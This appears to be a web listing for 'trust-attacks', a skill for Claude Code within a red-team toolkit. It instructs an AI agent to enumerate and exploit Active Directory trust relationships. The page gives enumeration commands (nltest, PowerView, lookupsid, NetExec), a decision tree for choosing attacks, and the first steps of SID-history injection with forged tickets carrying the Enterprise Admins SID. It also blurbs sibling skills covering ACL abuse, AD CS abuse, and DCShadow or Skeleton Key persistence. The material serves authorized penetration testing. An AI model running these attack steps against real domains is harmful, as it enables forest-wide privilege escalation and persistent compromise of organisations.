acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation. Covers trust enumeration (nltest, PowerView, BloodHound), SID history injection (child domain to forest root via golden/diamond ticket with extra SIDs),
$ npx -y skills add blacklanternsecurity/red-run --skill trust-attacks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/trust-attacksContext preview
The summary Claude sees to decide when to auto-load this skill.
Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation. Covers trust enumeration (nltest, PowerView, BloodHound), SID history injection (child domain to forest root via golden/diamond ticket with extra SIDs),
name: trust-attacks description: > Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation. Covers trust enumeration (nltest, PowerView, BloodHound), SID history injection (child domain to forest root via golden/diamond ticket with extra SIDs), inter-realm TGT forging using trust keys, TGT delegation coercion capture (Rubeus monitor + SpoolSample/DFSCoerce across forest trusts with ENABLE_TGT_DELEGATION), cross-forest trust abuse (SID filtering bypass, RBCD, Kerberoasting via trust account), and PAM trust exploitation (shadow principals in bastion forests). keywords: - trust attacks - domain trust - forest trust - SID history - child to parent - cross-forest - inter-realm - trust key - extra SID - raiseChild - PAM trust - shadow principals - bastion forest - trust enumeration - SID filtering - forest root - TGT delegation - ENABLE_TGT_DELEGATION - CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION - unconstrained delegation trust - coercion capture - SpoolSample - ticketConverter tools: - Mimikatz - Rubeus - Impacket (ticketer.py - raiseChild.py - lookupsid.py - ticketConverter.py) - PowerView - bloodyAD - NetExec - SpoolSample / printerbug.py - DFSCoerce - PetitPotam opsec: medium
You are helping a penetration tester enumerate and exploit Active Directory trust relationships for cross-domain and cross-forest privilege escalation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
**Access required**: Domain Admin in at least one domain (for trust key extraction and krbtgt hash). Lower-privilege paths exist for trust account authentication.
**Kerberos authentication setup** (for enumeration and tool execution):
# Obtain TGT getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP export KRB5CCNAME=$(pwd)/username.ccache # All Impacket commands: -k -no-pass # NetExec: --use-kcache # bloodyAD: -k
**Tools**: Mimikatz, Rubeus, Impacket (ticketer.py, raiseChild.py, lookupsid.py, secretsdump.py, psexec.py), PowerView, bloodyAD, NetExec.
# Native Windows nltest /trusted_domains # PowerView — all trusts with properties Get-DomainTrust Get-DomainTrust -Domain parent.local # AD Module — trust properties (critical for attack viability) Get-ADTrust -Filter * -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive # .NET — all trusts from current domain ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() # NetExec module nxc ldap DC_IP -u 'user' -p 'pass' --use-kcache -M enum_trusts # Impacket — enumerate SIDs in target domain lookupsid.py -k -no-pass DOMAIN/user@DC_IP
| Property | Impact | |----------|--------| | `SIDFilteringQuarantined` | If `False`, SID history injection works across trust | | `SelectiveAuthentication` | If `True`, only explicitly allowed users can authenticate | | `ForestTransitive` | Indicates forest-level trust (broader scope) | | `TrustDirection` | Inbound/Outbound/Bidirectional — determines attack direction | | `TGTDelegation` | If `True`, unconstrained delegation possible across trust |
# Foreign group members (users from other domains in local groups) Get-DomainForeignGroupMember Get-DomainForeignGroupMember -Domain parent.local # Foreign users with local admin Get-NetLocalGroupMember -ComputerName dc.parent.local
Trust Found
├── Parent-Child (in-forest) → SID filtering NOT enforced → Step 2 (SID History)
├── Forest Trust
│ ├── TGTDelegation = True + admin on trusted DC → Step 6 (TGT Delegation Coercion)
│ ├── SIDFilteringQuarantined = False → Step 2 (SID History cross-forest)
│ ├── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) or Step 5 (enum only)
│ └── PAM trust attributes → Step 4 (Shadow Principals)
├── External Trust
│ ├── SIDFilteringQuarantined = False → Step 2 (SID History)
│ └── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) + Step 5
└── One-Way Trust
├── Inbound (they trust us) → Step 3 (authenticate into their domain)
└── Outbound (we trust them) → Step 5 (limited attack surface)The primary trust escalation technique. Forge a ticket in the child domain with the parent domain's Enterprise Admins SID (S-1-5-21-PARENT-519) in the SID history field.
**Prerequisite**: krbtgt hash from child domain + parent domain SID.
# Child domain SID lookupsid.py -k -no-pass CHILD.LOCAL/user@child-dc 0 # Parent domain SID + Enterprise Admins lookupsid.py -k -no-pass CHILD.LOCAL/user@parent-dc | grep "Enterprise Admins" # Note the SID before -519
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…